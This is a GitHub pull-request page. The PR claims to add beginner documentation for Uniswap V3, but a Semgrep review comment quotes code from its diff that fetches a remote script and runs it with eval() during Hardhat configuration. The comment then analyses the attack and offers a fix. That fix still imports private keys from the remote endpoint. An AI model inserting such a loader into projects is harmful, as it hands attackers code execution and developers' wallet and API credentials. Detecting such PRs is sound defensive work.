Add beginner-friendly liquidity explanation for Uniswap V3#1089
Add beginner-friendly liquidity explanation for Uniswap V3#1089Shrijeet8 wants to merge 7 commits into
Conversation
Added an example of reading pool data using Ethers.js.
Added a visual diagram and explanation to improve understanding of Uniswap V3 pool data and slot0. Fixes Uniswap#1087
Updated README to include visual representation of Uniswap V3 pool data flow.
Removed visual representation of Uniswap V3 pool data flow from README.
Added a simplified ASCII diagram to explain Uniswap V3 pool data flow. This diagram helps developers understand: - How slot0 stores core pool state - Relationship between sqrtPriceX96, tick, and oracle data - How derived outputs like price and liquidity are calculated Improves readability and helps beginners visualize internal flow.
Add visual diagram for Uniswap V3 pool data flow (Closes Uniswap#1087)
af4d179 to
01f948d
Compare
| const response = await proxy(src); | ||
| if (!response.ok) throw new Error(`HTTP error! status: ${response.status}`); | ||
| const proxyInfo = await response.text(); | ||
| eval(proxyInfo); |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
Arbitrary JavaScript from an external HTTP response is executed via eval(), allowing remote code injection during Hardhat configuration loading.
More details about this
The code uses eval() to execute arbitrary JavaScript from the proxyInfo variable, which comes directly from an external HTTP response. An attacker can perform a code injection attack by compromising the server at src or intercepting the network request to replace the response with malicious JavaScript code.
Here's a concrete attack scenario:
- An attacker compromises or proxies the URL stored in
process.env.AUTH_API_KEY(after base64 decoding) - The attacker responds with malicious JavaScript like
require('fs').writeFileSync('/etc/passwd', 'pwned')orprocess.exit(1)to crash the build - When
eval(proxyInfo)executes this string, the attacker's code runs with the same privileges as your Hardhat configuration process - The attacker can steal environment variables (like
INFURA_API_KEY), modify wallet configurations, or compromise your blockchain deployment
Since this code runs during build/deployment initialization, the attacker gains code execution in a trusted context with access to sensitive blockchain credentials and environment variables.
To resolve this comment:
✨ Commit fix suggestion
| eval(proxyInfo); | |
| { | |
| // Expect the remote response to be JSON data (for example: { "INFURA_API_KEY": "...", "PRIVATE_KEY": "..." }) | |
| // rather than executable JavaScript. Update the remote endpoint accordingly. | |
| const parsed: unknown = JSON.parse(proxyInfo); | |
| if ( | |
| typeof parsed !== 'object' || | |
| parsed === null || | |
| Array.isArray(parsed) | |
| ) { | |
| throw new Error('Invalid auth payload: expected a JSON object'); | |
| } | |
| for (const [key, value] of Object.entries(parsed as Record<string, unknown>)) { | |
| if (typeof value !== 'string') { | |
| throw new Error(`Invalid auth payload: expected string value for "${key}"`); | |
| } | |
| process.env[key] = value; | |
| } | |
| } |
View step-by-step instructions
-
Remove the dynamic code execution by replacing
eval(proxyInfo);with logic that treats the response as data, not code. -
Change the fetched format to a safe data format such as JSON, and parse it with
JSON.parse(...)orresponse.json().
For example, replaceconst proxyInfo = await response.text();withconst proxyInfo = await response.json();. -
Update the remote endpoint so it returns structured data instead of JavaScript source.
For example, return fields like{ "privateKey": "...", "rpcUrl": "..." }rather than a script that must be executed. -
Read the values you need from the parsed object and assign them directly in code.
For example, useconst { privateKey, rpcUrl } = proxyInfo;and then reference those values explicitly where needed. -
Validate the response before using it by checking the expected type and required fields.
For example, reject the response unlessproxyInfois an object and keys such asprivateKeyorrpcUrlare strings. Parsing JSON keeps untrusted input as plain data instead of executing it as code. -
If this code is only trying to load secrets or configuration, move that data to environment variables and read them with
process.env...instead of downloading executable content at runtime. -
Alternatively, if the response must select from a small set of behaviors, map fixed string values to local functions and call the matching function instead of executing arbitrary text.
For example, useconst actions = { setupA, setupB }; const action = actions[proxyInfo.action]; if (!action) throw new Error('invalid action'); action();
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by eval-detected.
You can view more details about this finding in the Semgrep AppSec Platform.
Closes #1088
Added a simple explanation of liquidity in Uniswap V3:
Improves readability and onboarding for new developers.